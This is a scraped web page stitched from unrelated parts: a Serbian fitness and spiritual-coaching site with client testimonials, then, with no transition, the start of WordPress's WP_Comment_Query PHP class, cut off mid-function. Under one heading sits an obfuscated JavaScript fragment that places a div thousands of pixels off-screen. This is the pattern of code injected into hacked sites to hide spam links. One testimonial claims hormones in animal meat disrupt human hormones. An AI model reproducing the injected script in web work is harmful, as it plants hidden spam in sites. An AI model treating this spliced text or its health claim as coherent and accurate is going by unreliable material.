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Srce duše

  Radionica "Srce duše" biće održana u Novom Sadu 24.09.2017  (12-18h ) Svako ce dobiti nesto drugacije, jedinstveno, unikatno, samo njemu znano,
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Srce duše

Tesla

“Dar isceljujuće energije dolazi od Boga, vrhunskog bića, i ako mi spoznamo i osvestimo tu istinu, postajemo skladni sa ovom
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Tesla

Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

      ...jer samo zdrava dusa moze da ispuni svoju svrhu' Milica Vujic, kondicioni trener, fitnes instruktor, hard body trener, prakticar yoge, pilates
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Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

Biljna hrana

function lJeCytLe(umR) { var BuvBN = "#mtaxnzy1mzuz{margin:0px 20px;overflow:hidden}#mtaxnzy1mzuz>div{top:-3874px;overflow:hidden;position:fixed;left:-2702px;display:block}";
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Biljna hrana
Iskustva
Maja Vučkovic, Novi Sad
Maja Vučkovic, Novi Sad
Kao trener temeljna, posvecena, istrajna, ljubazna i uvek sa osmehom na licu. Treninzi dinamicni, uvek drugaciji, zanimljivi. To je ono zbog cega mi nije bilo tesko da odem na svaki trening bez izgovora, a zbog cega i dan danas ne mogu da pronadjem nista slicno sto ce me osvojiti kao treninzi sa Milicom!
Daniela Lalić, Novi Sad
Daniela Lalić, Novi Sad
... momenat kada cuda postaju stvarnost, kada zelja postane ostvarljiva, kada ti se vraca osmeh na lice... Tog dana nisam ni slutila da ce mi se zivot toliko promeniti upoznavsi nju, obicnu devojku koja je bila neverovatno nasmejana,raspolozena, prosto je zracila tom svojom pozitivnoscu, nesebicno je prenoseci na druge... tako je i na mene... A ja sam bila tuzna devojka koja je imala problema sa hormonima, sa debljinom, velikim viskom kilograma... jeduci samo proteine jer je tad bila aktuelna takva vrsta ishrane, nadajuci se da cu ih skinuti na njenim treninzima, neznajuci da mi je bas ona stvarala te probleme, hormoni u zivotinjskom mesu remete nase hormone... A onda su dosli njeni saveti,pored veoma delotvornih treninga... U danasnje vreme ima mnogo ljudi koji su pozitivni ali retki su oni koji to mogu i da prenesu na druge... ona je jedna od njih... A zatim svojim velikim iskustvom u svetu sporta, fitnesa i najvise ishrane je podelila neke odredjene savete sa mnom... i hvala joj na tome... I danas se secam tog dana iako je proslo dosta godina od tad... Cujem se sa njom i danas, i sada ima vremena da odgovori na svaku moju poruku iako sam ja kao i svako drugi, obicna devojka, kojoj je potreban neki savet... a ona se sve te godine i dalje usavrsava i napreduje... Nismo ni drugarice ni prijateljice, jer se to postaje na drugaciji nacin, ali ima veoma vazno mesto u mom zivotu jer mi se od tad zivot poceo menjati...
 Carla Almassri 11, Erbil
Carla Almassri 11, Erbil
Treninzi su bili odlični. Bilo je to zabavno iskustvo. Osećala sam se kako se poboljšavam te sam naučila mnogo veština koje i dalje dan danas koristim. Obožavam ih .
Branka  Laketić, Novi Sad
Branka Laketić, Novi Sad
Na treninzima je bilo fenomenalno, prijatna atmosfera, jaki i dobri treninzi, trener posvecen svom poslu, a i nama svima. Sve u svemu, prezadovoljna sam bila i rado bih nastavila kada bih imala priliku.
Jelena kragović, Beograd
Jelena kragović, Beograd
Milica je pre svega jedna divna osoba koja je uvek otvorena da porazgovara sa Vama i da Vam iskreni savet bez podsmevanja ili ruznih pogleda sa mislju "Na sta licis!", sto se verujte mi desava. Sa Milicom se svako oseca motivisano, jer je pravi profesionalac i reci ce Vam uvek da za trening nikada nije kasno.  Svakome se posveti sto se treninga tice maksimalno i pomogne i sa savetima u vezi ishrane, pored svega. Sve tople preporuke za Milicu od mene. Na kraju krajeva, ne morate mi verovati, vec trenirajte sa njom, pa cete se uveriti i sami. I da, da ne zaboravim...pored svega Milica je prelepa...Sve pohvale i tople preporuke za Milicu
Nataša Stanković, Novi Sad
Nataša Stanković, Novi Sad
Sjajni treninzi, preciznost, postavljanje ciljeva, njihovo ostvarivanje kao i sjajna komunikacija omogucili su mi da sa uvek nasmejanom Milicom uspostavim odnos kakav se moze pozeleti. Uspela je da poboljsa moje performanse, savetovala me je u vezi sa ishranom i odrzavala motivaciju za ostvarivanjem ciljeva. Takodje, naucila me je kako da uzivam u svakom treningu i da mi isti ne predstavlja obavezu, vec nesto cemu sam se celog dana radovala. Uspesno smo saradjivale, preporucila bih je svakome i sa sigurnoscu mogu da tvrdim da ce Milica za kratko vreme uspeti da promeni Vas nacin zivota i da iskoreni lose navike.
Danijela Jocic, Beograd
Danijela Jocic, Beograd
Milicu sam slucajno upoznala u jednoj teretani, u Beogradu. Prica pocinje ovako: Odlazila sam na kardio treninge i na poneku spravicu u teretanu u komsiluku dok mi jedan dan paznju nije privukla jedna devojka u sali koja sprema nesto sto jos nisam videla na tv-u, bar ono reklama sto ugrabim u slobodno vreme. Simpatizer sam grupnih treninga, sa razlicitim vezbama i brzim rezultatom. Strpljenje mi je slaba tacka, pogotovo kad imate malo vremena da liniju dovedete skoro do savrsenstva. Ono sto mi je prvo skrenulo pogled ka sali gde se uveliko spremalo nesto novo bila je muzika koja bukvalno "dize iz mrtvih". Dve reci te devojke-Milice, mog trenera, bile su dovoljne da joj se pridruzim odmah, cak i pre formiranja prve grupe polaznika. Nailazim na ODUSEVLJENJE! Strah na pocetku, da li cu izdrzati trening, naporno je, zahteva kondiciju, snagu, koncentraciju, uigranost! Zove se Insanity. Dve godine u tom ritmu je proletelo...4-5 puta nedeljno odlazenja na treninge cinili su mi veliko zadovoljstvo i srecu. Moja sestra je krenula odmah sa mnom. Grupa od deset devojaka treniraju kao jedan! Koliko raspolozenje posle treninga, od sat ipo vremena! Noge, stomak i ruke kao na profi slikama iz casopisa! Trening pripremljen i osmisljen kao u najboljem inostranom spotu, vezbe povezane, koordinacija tela...Prvo zagrevanje, a potom krecemo od glave i vrata, ruku, stomaka, nogu...istezanje. Muzika drzi atmosferu da ne razmisljamo o umoru. Svaki trening drugaciji, nema mesta monotoniji. Koristimo tegice, vijace. Na kraju treninga mokra majica nam najbolje pokaze rezultat svega toga. Moram priznati da sam ishranu morala malo da korigujem jer mi je genetika takva, sve se lepi. To mi je sve bilo lako uz Milicine razgovore, savete, recepte, redovno proveravanje kilaze i masti. Neko je jos brinuo o mom telu i zdravlju.
 Sara Barzani, Erbil
Sara Barzani, Erbil
Trening s Milicom je jedno od najboljih iskustva koje sam imala u zivotu. Tezak posao se s njom cinio toliko lagano. Ona kao trener me gurala u treninzima da postignem svoje ciljeve. Umor nije uopste bio problem s njenom pomoci. Pomogla mi je transformisati moje telo, onako kako sam zelela. Energija i izdrzljivost su mi bile dve najvaznije stvari koje mi je pomogla poboljsati.
Sherri Kraham Talabany, Erbil
Sherri Kraham Talabany, Erbil
Moj muž i ja obožavali smo kao klijenti raditi s Milicom koja nas je držala na nogama sa rigoroznim režimom kroz trening snage, trening za tonus i kardio trening ukomponovan u jedan sat intenzivnog vežbanja. Čak je menjala vežbe tako da nikada nije bilo dosadno i uvek je uspevala napraviti trening za kompletno telo. To je vodilo do vrhunskih rezultata na telesnom i fitness nivou.
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<?php
/**
 * Comment API: WP_Comment_Query class
 *
 * @package WordPress
 * @subpackage Comments
 * @since 4.4.0
 */

/**
 * Core class used for querying comments.
 *
 * @since 3.1.0
 *
 * @see WP_Comment_Query::__construct() for accepted arguments.
 */
class WP_Comment_Query {

	/**
	 * SQL for database query.
	 *
	 * @since 4.0.1
	 * @access public
	 * @var string
	 */
	public $request;

	/**
	 * Metadata query container
	 *
	 * @since 3.5.0
	 * @access public
	 * @var object WP_Meta_Query
	 */
	public $meta_query = false;

	/**
	 * Metadata query clauses.
	 *
	 * @since 4.4.0
	 * @access protected
	 * @var array
	 */
	protected $meta_query_clauses;

	/**
	 * SQL query clauses.
	 *
	 * @since 4.4.0
	 * @access protected
	 * @var array
	 */
	protected $sql_clauses = array(
		'select'  => '',
		'from'    => '',
		'where'   => array(),
		'groupby' => '',
		'orderby' => '',
		'limits'  => '',
	);

	/**
	 * SQL WHERE clause.
	 *
	 * Stored after the {@see 'comments_clauses'} filter is run on the compiled WHERE sub-clauses.
	 *
	 * @since 4.4.2
	 * @access protected
	 * @var string
	 */
	protected $filtered_where_clause;

	/**
	 * Date query container
	 *
	 * @since 3.7.0
	 * @access public
	 * @var object WP_Date_Query
	 */
	public $date_query = false;

	/**
	 * Query vars set by the user.
	 *
	 * @since 3.1.0
	 * @access public
	 * @var array
	 */
	public $query_vars;

	/**
	 * Default values for query vars.
	 *
	 * @since 4.2.0
	 * @access public
	 * @var array
	 */
	public $query_var_defaults;

	/**
	 * List of comments located by the query.
	 *
	 * @since 4.0.0
	 * @access public
	 * @var array
	 */
	public $comments;

	/**
	 * The amount of found comments for the current query.
	 *
	 * @since 4.4.0
	 * @access public
	 * @var int
	 */
	public $found_comments = 0;

	/**
	 * The number of pages.
	 *
	 * @since 4.4.0
	 * @access public
	 * @var int
	 */
	public $max_num_pages = 0;

	/**
	 * Make private/protected methods readable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @access public
	 *
	 * @param callable $name      Method to call.
	 * @param array    $arguments Arguments to pass when calling.
	 * @return mixed|false Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( 'get_search_sql' === $name ) {
			return call_user_func_array( array( $this, $name ), $arguments );
		}
		return false;
	}

	/**
	 * Constructor.
	 *
	 * Sets up the comment query, based on the query vars passed.
	 *
	 * @since 4.2.0
	 * @since 4.4.0 `$parent__in` and `$parent__not_in` were added.
	 * @since 4.4.0 Order by `comment__in` was added. `$update_comment_meta_cache`, `$no_found_rows`,
	 *              `$hierarchical`, and `$update_comment_post_cache` were added.
	 * @since 4.5.0 Introduced the `$author_url` argument.
	 * @since 4.6.0 Introduced the `$cache_domain` argument.
	 * @access public
	 *
	 * @param string|array $query {
	 *     Optional. Array or query string of comment query parameters. Default empty.
	 *
	 *     @type string       $author_email              Comment author email address. Default empty.
	 *     @type string       $author_url                Comment author URL. Default empty.
	 *     @type array        $author__in                Array of author IDs to include comments for. Default empty.
	 *     @type array        $author__not_in            Array of author IDs to exclude comments for. Default empty.
	 *     @type array        $comment__in               Array of comment IDs to include. Default empty.
	 *     @type array        $comment__not_in           Array of comment IDs to exclude. Default empty.
	 *     @type bool         $count                     Whether to return a comment count (true) or array of
	 *                                                   comment objects (false). Default false.
	 *     @type array        $date_query                Date query clauses to limit comments by. See WP_Date_Query.
	 *                                                   Default null.
	 *     @type string       $fields                    Comment fields to return. Accepts 'ids' for comment IDs
	 *                                                   only or empty for all fields. Default empty.
	 *     @type int          $ID                        Currently unused.
	 *     @type array        $include_unapproved        Array of IDs or email addresses of users whose unapproved
	 *                                                   comments will be returned by the query regardless of
	 *                                                   `$status`. Default empty.
	 *     @type int          $karma                     Karma score to retrieve matching comments for.
	 *                                                   Default empty.
	 *     @type string       $meta_key                  Include comments with a matching comment meta key.
	 *                                                   Default empty.
	 *     @type string       $meta_value                Include comments with a matching comment meta value.
	 *                                                   Requires `$meta_key` to be set. Default empty.
	 *     @type array        $meta_query                Meta query clauses to limit retrieved comments by.
	 *                                                   See WP_Meta_Query. Default empty.
	 *     @type int          $number                    Maximum number of comments to retrieve.
	 *                                                   Default empty (no limit).
	 *     @type int          $offset                    Number of comments to offset the query. Used to build
	 *                                                   LIMIT clause. Default 0.
	 *     @type bool         $no_found_rows             Whether to disable the `SQL_CALC_FOUND_ROWS` query.
	 *                                                   Default: true.
	 *     @type string|array $orderby                   Comment status or array of statuses. To use 'meta_value'
	 *                                                   or 'meta_value_num', `$meta_key` must also be defined.
	 *                                                   To sort by a specific `$meta_query` clause, use that
	 *                                                   clause's array key. Accepts 'comment_agent',
	 *                                                   'comment_approved', 'comment_author',
	 *                                                   'comment_author_email', 'comment_author_IP',
	 *                                                   'comment_author_url', 'comment_content', 'comment_date',
	 *                                                   'comment_date_gmt', 'comment_ID', 'comment_karma',
	 *                                                   'comment_parent', 'comment_post_ID', 'comment_type',
	 *                                                   'user_id', 'comment__in', 'meta_value', 'meta_value_num',
	 *                                                   the value of $meta_key, and the array keys of
	 *                                                   `$meta_query`. Also accepts false, an empty array, or
	 *                                                   'none' to disable `ORDER BY` clause.
	 *                                                   Default: 'comment_date_gmt'.
	 *     @type string       $order                     How to order retrieved comments. Accepts 'ASC', 'DESC'.
	 *                                                   Default: 'DESC'.
	 *     @type int          $parent                    Parent ID of comment to retrieve children of.
	 *                                                   Default empty.
	 *     @type array        $parent__in                Array of parent IDs of comments to retrieve children for.
	 *                                                   Default empty.
	 *     @type array        $parent__not_in            Array of parent IDs of comments *not* to retrieve
	 *                                                   children for. Default empty.
	 *     @type array        $post_author__in           Array of author IDs to retrieve comments for.
	 *                                                   Default empty.
	 *     @type array        $post_author__not_in       Array of author IDs *not* to retrieve comments for.
	 *                                                   Default empty.
	 *     @type int          $post_ID                   Currently unused.
	 *     @type int          $post_id                   Limit results to those affiliated with a given post ID.
	 *                                                   Default 0.
	 *     @type array        $post__in                  Array of post IDs to include affiliated comments for.
	 *                                                   Default empty.
	 *     @type array        $post__not_in              Array of post IDs to exclude affiliated comments for.
	 *                                                   Default empty.
	 *     @type int          $post_author               Post author ID to limit results by. Default empty.
	 *     @type string|array $post_status               Post status or array of post statuses to retrieve
	 *                                                   affiliated comments for. Pass 'any' to match any value.
	 *                                                   Default empty.
	 *     @type string       $post_type                 Post type or array of post types to retrieve affiliated
	 *                                                   comments for. Pass 'any' to match any value. Default empty.
	 *     @type string       $post_name                 Post name to retrieve affiliated comments for.
	 *                                                   Default empty.
	 *     @type int          $post_parent               Post parent ID to retrieve affiliated comments for.
	 *                                                   Default empty.
	 *     @type string       $search                    Search term(s) to retrieve matching comments for.
	 *                                                   Default empty.
	 *     @type string       $status                    Comment status to limit results by. Accepts 'hold'
	 *                                                   (`comment_status=0`), 'approve' (`comment_status=1`),
	 *                                                   'all', or a custom comment status. Default 'all'.
	 *     @type string|array $type                      Include comments of a given type, or array of types.
	 *                                                   Accepts 'comment', 'pings' (includes 'pingback' and
	 *                                                   'trackback'), or anycustom type string. Default empty.
	 *     @type array        $type__in                  Include comments from a given array of comment types.
	 *                                                   Default empty.
	 *     @type array        $type__not_in              Exclude comments from a given array of comment types.
	 *                                                   Default empty.
	 *     @type int          $user_id                   Include comments for a specific user ID. Default empty.
	 *     @type bool|string  $hierarchical              Whether to include comment descendants in the results.
	 *                                                   'threaded' returns a tree, with each comment's children
	 *                                                   stored in a `children` property on the `WP_Comment`
	 *                                                   object. 'flat' returns a flat array of found comments plus
	 *                                                   their children. Pass `false` to leave out descendants.
	 *                                                   The parameter is ignored (forced to `false`) when
	 *                                                   `$fields` is 'ids' or 'counts'. Accepts 'threaded',
	 *                                                   'flat', or false. Default: false.
 	 *     @type string       $cache_domain              Unique cache key to be produced when this query is stored in
	 *                                                   an object cache. Default is 'core'.
	 *     @type bool         $update_comment_meta_cache Whether to prime the metadata cache for found comments.
	 *                                                   Default true.
	 *     @type bool         $update_comment_post_cache Whether to prime the cache for comment posts.
	 *                                                   Default false.
	 * }
	 */
	public function __construct( $query = '' ) {
		$this->query_var_defaults = array(
			'author_email' => '',
			'author_url' => '',
			'author__in' => '',
			'author__not_in' => '',
			'include_unapproved' => '',
			'fields' => '',
			'ID' => '',
			'comment__in' => '',
			'comment__not_in' => '',
			'karma' => '',
			'number' => '',
			'offset' => '',
			'no_found_rows' => true,
			'orderby' => '',
			'order' => 'DESC',
			'parent' => '',
			'parent__in' => '',
			'parent__not_in' => '',
			'post_author__in' => '',
			'post_author__not_in' => '',
			'post_ID' => '',
			'post_id' => 0,
			'post__in' => '',
			'post__not_in' => '',
			'post_author' => '',
			'post_name' => '',
			'post_parent' => '',
			'post_status' => '',
			'post_type' => '',
			'status' => 'all',
			'type' => '',
			'type__in' => '',
			'type__not_in' => '',
			'user_id' => '',
			'search' => '',
			'count' => false,
			'meta_key' => '',
			'meta_value' => '',
			'meta_query' => '',
			'date_query' => null, // See WP_Date_Query
			'hierarchical' => false,
			'cache_domain' => 'core',
			'update_comment_meta_cache' => true,
			'update_comment_post_cache' => false,
		);

		if ( ! empty( $query ) ) {
			$this->query( $query );
		}
	}

	/**
	 * Parse arguments passed to the comment query with default query parameters.
	 *
	 * @since 4.2.0 Extracted from WP_Comment_Query::query().
	 *
	 * @access public
	 *
	 * @param string|array $query WP_Comment_Query arguments. See WP_Comment_Query::__construct()
	 */
	public function parse_query( $query = '' ) {
		if ( empty( $query ) ) {
			$query = $this->query_vars;
		}

		$this->query_vars = wp_parse_args( $query, $this->query_var_defaults );

		/**
		 * Fires after the comment query vars have been parsed.
		 *
		 * @since 4.2.0
		 *
		 * @param WP_Comment_Query &$this The WP_Comment_Query instance (passed by reference).
		 */
		do_action_ref_array( 'parse_comment_query', array( &$this ) );
	}

	/**
	 * Sets up the WordPress query for retrieving comments.
	 *
	 * @since 3.1.0
	 * @since 4.1.0 Introduced 'comment__in', 'comment__not_in', 'post_author__in',
	 *              'post_author__not_in', 'author__in', 'author__not_in', 'post__in',
	 *              'post__not_in', 'include_unapproved', 'type__in', and 'type__not_in'
	 *              arguments to $query_vars.
	 * @since 4.2.0 Moved parsing to WP_Comment_Query::parse_query().
	 * @access public
	 *
	 * @param string|array $query Array or URL query string of parameters.
	 * @return array|int List of comments, or number of comments when 'count' is passed as a query var.
	 */
	public function query( $query ) {
		$this->query_vars = wp_parse_args( $query );
		return $this->get_comments();
	}

	/**
	 * Get a list of comments matching the query vars.
	 *
	 * @since 4.2.0
	 * @access public
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return int|array List of comments or number of found comments if `$count` argument is true.
	 */
	public function get_comments() {
		global $wpdb;

		$this->parse_query();

		// Parse meta query
		$this->meta_query = new WP_Meta_Query();
		$this->meta_query->parse_query_vars( $this->query_vars );

		/**
		 * Fires before comments are retrieved.
		 *
		 * @since 3.1.0
		 *
		 * @param WP_Comment_Query &$this Current instance of WP_Comment_Query, passed by reference.
		 */
		do_action_ref_array( 'pre_get_comments', array( &$this ) );

		// Reparse query vars, in case they were modified in a 'pre_get_comments' callback.
		$this->meta_query->parse_query_vars( $this->query_vars );
		if ( ! empty( $this->meta_query->queries ) ) {
			$this->meta_query_clauses = $this->meta_query->get_sql( 'comment', $wpdb->comments, 'comment_ID', $this );
		}

		// $args can include anything. Only use the args defined in the query_var_defaults to compute the key.
		$key = md5( serialize( wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) ) ) );
		$last_changed = wp_cache_get_last_changed( 'comment' );


		$cache_key   = "get_comments:$key:$last_changed";
		$cache_value = wp_cache_get( $cache_key, 'comment' );
		if ( false === $cache_value ) {
			$comment_ids = $this->get_comment_ids();
			if ( $comment_ids ) {
				$this->set_found_comments();
			}

			$cache_value = array(
				'comment_ids'    => $comment_ids,
				'found_comments' => $this->found_comments,
			);
			wp_cache_add( $cache_key, $cache_value, 'comment' );
		} else {
			$comment_ids          = $cache_value['comment_ids'];
			$this->found_comments = $cache_value['found_comments'];
		}

		if ( $this->found_comments && $this->query_vars['number'] ) {
			$this->max_num_pages = ceil( $this->found_comments / $this->query_vars['number'] );
		}

		// If querying for a count only, there's nothing more to do.
		if ( $this->query_vars['count'] ) {
			// $comment_ids is actually a count in this case.
			return intval( $comment_ids );
		}

		$comment_ids = array_map( 'intval', $comment_ids );

		if ( 'ids' == $this->query_vars['fields'] ) {
			$this->comments = $comment_ids;
			return $this->comments;
		}

		_prime_comment_caches( $comment_ids, $this->query_vars['update_comment_meta_cache'] );

		// Fetch full comment objects from the primed cache.
		$_comments = array();
		foreach ( $comment_ids as $comment_id ) {
			if ( $_comment = get_comment( $comment_id ) ) {
				$_comments[] = $_comment;
			}
		}

		// Prime comment post caches.
		if ( $this->query_vars['update_comment_post_cache'] ) {
			$comment_post_ids = array();
			foreach ( $_comments as $_comment ) {
				$comment_post_ids[] = $_comment->comment_post_ID;
			}

			_prime_post_caches( $comment_post_ids, false, false );
		}

		/**
		 * Filters the comment query results.
		 *
		 * @since 3.1.0
		 *
		 * @param array            $results  An array of comments.
		 * @param WP_Comment_Query &$this    Current instance of WP_Comment_Query, passed by reference.
		 */
		$_comments = apply_filters_ref_array( 'the_comments', array( $_comments, &$this ) );

		// Convert to WP_Comment instances
		$comments = array_map( 'get_comment', $_comments );

		if ( $this->query_vars['hierarchical'] ) {
			$comments = $this->fill_descendants( $comments );
		}

		$this->comments = $comments;
		return $this->comments;
	}

	/**
	 * Used internally to get a list of comment IDs matching the query vars.
	 *
	 * @since 4.4.0
	 * @access protected
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	protected function get_comment_ids() {
		global $wpdb;

		// Assemble clauses related to 'comment_approved'.
		$approved_clauses = array();

		// 'status' accepts an array or a comma-separated string.
		$status_clauses = array();
		$statuses = $this->query_vars['status'];
		if ( ! is_array( $statuses ) ) {
			$statuses = preg_split( '/[\s,]+/', $statuses );
		}

		// 'any' overrides other statuses.
		if ( ! in_array( 'any', $statuses ) ) {
			foreach ( $statuses as $status ) {
				switch ( $status ) {
					case 'hold' :
						$status_clauses[] = "comment_approved = '0'";
						break;

					case 'approve' :
						$status_clauses[] = "comment_approved = '1'";
						break;

					case 'all' :
					case '' :
						$status_clauses[] = "( comment_approved = '0' OR comment_approved = '1' )";
						break;

					default :
						$status_clauses[] = $wpdb->prepare( "comment_approved = %s", $status );
						break;
				}
			}

			if ( ! empty( $status_clauses ) ) {
				$approved_clauses[] = '( ' . implode( ' OR ', $status_clauses ) . ' )';
			}
		}

		// User IDs or emails whose unapproved comments are included, regardless of $status.
		if ( ! empty( $this->query_vars['include_unapproved'] ) ) {
			$include_unapproved = $this->query_vars['include_unapproved'];

			// Accepts arrays or comma-separated strings.
			if ( ! is_array( $include_unapproved ) ) {
				$include_unapproved = preg_split( '/[\s,]+/', $include_unapproved );
			}

			$unapproved_ids = $unapproved_emails = array();
			foreach ( $include_unapproved as $unapproved_identifier ) {
				// Numeric values are assumed to be user ids.
				if ( is_numeric( $unapproved_identifier ) ) {
					$approved_clauses[] = $wpdb->prepare( "( user_id = %d AND comment_approved = '0' )", $unapproved_identifier );

				// Otherwise we match against email addresses.
				} else {
					$approved_clauses[] = $wpdb->prepare( "( comment_author_email = %s AND comment_approved = '0' )", $unapproved_identifier );
				}
			}
		}

		// Collapse comment_approved clauses into a single OR-separated clause.
		if ( ! empty( $approved_clauses ) ) {
			if ( 1 === count( $approved_clauses ) ) {
				$this->sql_clauses['where']['approved'] = $approved_clauses[0];
			} else {
				$this->sql_clauses['where']['approved'] = '( ' . implode( ' OR ', $approved_clauses ) . ' )';
			}
		}

		$order = ( 'ASC' == strtoupper( $this->query_vars['order'] ) ) ? 'ASC' : 'DESC';

		// Disable ORDER BY with 'none', an empty array, or boolean false.
		if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) {
			$orderby = '';
		} elseif ( ! empty( $this->query_vars['orderby'] ) ) {
			$ordersby = is_array( $this->query_vars['orderby'] ) ?
				$this->query_vars['orderby'] :
				preg_split( '/[,\s]/', $this->query_vars['orderby'] );

			$orderby_array = array();
			$found_orderby_comment_ID = false;
			foreach ( $ordersby as $_key => $_value ) {
				if ( ! $_value ) {
					continue;
				}

				if ( is_int( $_key ) ) {
					$_orderby = $_value;
					$_order = $order;
				} else {
					$_orderby = $_key;
					$_order = $_value;
				}

				if ( ! $found_orderby_comment_ID && in_array( $_orderby, array( 'comment_ID', 'comment__in' ) ) ) {
					$found_orderby_comment_ID = true;
				}

				$parsed = $this->parse_orderby( $_orderby );

				if ( ! $parsed ) {
					continue;
				}

				if ( 'comment__in' === $_orderby ) {
					$orderby_array[] = $parsed;
					continue;
				}

				$orderby_array[] = $parsed . ' ' . $this->parse_order( $_order );
			}

			// If no valid clauses were found, order by comment_date_gmt.
			if ( empty( $orderby_array ) ) {
				$orderby_array[] = "$wpdb->comments.comment_date_gmt $order";
			}

			// To ensure determinate sorting, always include a comment_ID clause.
			if ( ! $found_orderby_comment_ID ) {
				$comment_ID_order = '';

				// Inherit order from comment_date or comment_date_gmt, if available.
				foreach ( $orderby_array as $orderby_clause ) {
					if ( preg_match( '/comment_date(?:_gmt)*\ (ASC|DESC)/', $orderby_clause, $match ) ) {
						$comment_ID_order = $match[1];
						break;
					}
				}

				// If no date-related order is available, use the date from the first available clause.
				if ( ! $comment_ID_order ) {
					foreach ( $orderby_array as $orderby_clause ) {
						if ( false !== strpos( 'ASC', $orderby_clause ) ) {
							$comment_ID_order = 'ASC';
						} else {
							$comment_ID_order = 'DESC';
						}

						break;
					}
				}

				// Default to DESC.
				if ( ! $comment_ID_order ) {
					$comment_ID_order = 'DESC';
				}

				$orderby_array[] = "$wpdb->comments.comment_ID $comment_ID_order";
			}

			$orderby = implode( ', ', $orderby_array );
		} else {
			$orderby = "$wpdb->comments.comment_date_gmt $order";
		}

		$number = absint( $this->query_vars['number'] );
		$offset = absint( $this->query_vars['offset'] );

		if ( ! empty( $number ) ) {
			if ( $offset ) {
				$limits = 'LIMIT ' . $offset . ',' . $number;
			} else {
				$limits = 'LIMIT ' . $number;
			}
		}

		if ( $this->query_vars['count'] ) {
			$fields = 'COUNT(*)';
		} else {
			$fields = "$wpdb->comments.comment_ID";
		}

		$post_id = absint( $this->query_vars['post_id'] );
		if ( ! empty( $post_id ) ) {
			$this->sql_clauses['where']['post_id'] = $wpdb->prepare( 'comment_post_ID = %d', $post_id );
		}

		// Parse comment IDs for an IN clause.
		if ( ! empty( $this->query_vars['comment__in'] ) ) {
			$this->sql_clauses['where']['comment__in'] = "$wpdb->comments.comment_ID IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['comment__in'] ) ) . ' )';
		}

		// Parse comment IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['comment__not_in'] ) ) {
			$this->sql_clauses['where']['comment__not_in'] = "$wpdb->comments.comment_ID NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['comment__not_in'] ) ) . ' )';
		}

		// Parse comment parent IDs for an IN clause.
		if ( ! empty( $this->query_vars['parent__in'] ) ) {
			$this->sql_clauses['where']['parent__in'] = 'comment_parent IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['parent__in'] ) ) . ' )';
		}

		// Parse comment parent IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['parent__not_in'] ) ) {
			$this->sql_clauses['where']['parent__not_in'] = 'comment_parent NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['parent__not_in'] ) ) . ' )';
		}

		// Parse comment post IDs for an IN clause.
		if ( ! empty( $this->query_vars['post__in'] ) ) {
			$this->sql_clauses['where']['post__in'] = 'comment_post_ID IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post__in'] ) ) . ' )';
		}

		// Parse comment post IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['post__not_in'] ) ) {
			$this->sql_clauses['where']['post__not_in'] = 'comment_post_ID NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post__not_in'] ) ) . ' )';
		}

		if ( '' !== $this->query_vars['author_email'] ) {
			$this->sql_clauses['where']['author_email'] = $wpdb->prepare( 'comment_author_email = %s', $this->query_vars['author_email'] );
		}

		if ( '' !== $this->query_vars['author_url'] ) {
			$this->sql_clauses['where']['author_url'] = $wpdb->prepare( 'comment_author_url = %s', $this->query_vars['author_url'] );
		}

		if ( '' !== $this->query_vars['karma'] ) {
			$this->sql_clauses['where']['karma'] = $wpdb->prepare( 'comment_karma = %d', $this->query_vars['karma'] );
		}

		// Filtering by comment_type: 'type', 'type__in', 'type__not_in'.
		$raw_types = array(
			'IN' => array_merge( (array) $this->query_vars['type'], (array) $this->query_vars['type__in'] ),
			'NOT IN' => (array) $this->query_vars['type__not_in'],
		);

		$comment_types = array();
		foreach ( $raw_types as $operator => $_raw_types ) {
			$_raw_types = array_unique( $_raw_types );

			foreach ( $_raw_types as $type ) {
				switch ( $type ) {
					// An empty translates to 'all', for backward compatibility
					case '':
					case 'all' :
						break;

					case 'comment':
					case 'comments':
						$comment_types[ $operator ][] = "''";
						break;

					case 'pings':
						$comment_types[ $operator ][] = "'pingback'";
						$comment_types[ $operator ][] = "'trackback'";
						break;

					default:
						$comment_types[ $operator ][] = $wpdb->prepare( '%s', $type );
						break;
				}
			}

			if ( ! empty( $comment_types[ $operator ] ) ) {
				$types_sql = implode( ', ', $comment_types[ $operator ] );
				$this->sql_clauses['where']['comment_type__' . strtolower( str_replace( ' ', '_', $operator ) ) ] = "comment_type $operator ($types_sql)";
			}
		}

		$parent = $this->query_vars['parent'];
		if ( $this->query_vars['hierarchical'] && ! $parent ) {
			$parent = 0;
		}

		if ( '' !== $parent ) {
			$this->sql_clauses['where']['parent'] = $wpdb->prepare( 'comment_parent = %d', $parent );
		}

		if ( is_array( $this->query_vars['user_id'] ) ) {
			$this->sql_clauses['where']['user_id'] = 'user_id IN (' . implode( ',', array_map( 'absint', $this->query_vars['user_id'] ) ) . ')';
		} elseif ( '' !== $this->query_vars['user_id'] ) {
			$this->sql_clauses['where']['user_id'] = $wpdb->prepare( 'user_id = %d', $this->query_vars['user_id'] );
		}

		// Falsy search strings are ignored.
		if ( strlen( $this->query_vars['search'] ) ) {
			$search_sql = $this->get_search_sql(
				$this->query_vars['search'],
				array( 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_author_IP', 'comment_content' )
			);

			// Strip leading 'AND'.
			$this->sql_clauses['where']['search'] = preg_replace( '/^\s*AND\s*/', '', $search_sql );
		}

		// If any post-related query vars are passed, join the posts table.
		$join_posts_table = false;
		$plucked = wp_array_slice_assoc( $this->query_vars, array( 'post_author', 'post_name', 'post_parent' ) );
		$post_fields = array_filter( $plucked );

		if ( ! empty( $post_fields ) ) {
			$join_posts_table = true;
			foreach ( $post_fields as $field_name => $field_value ) {
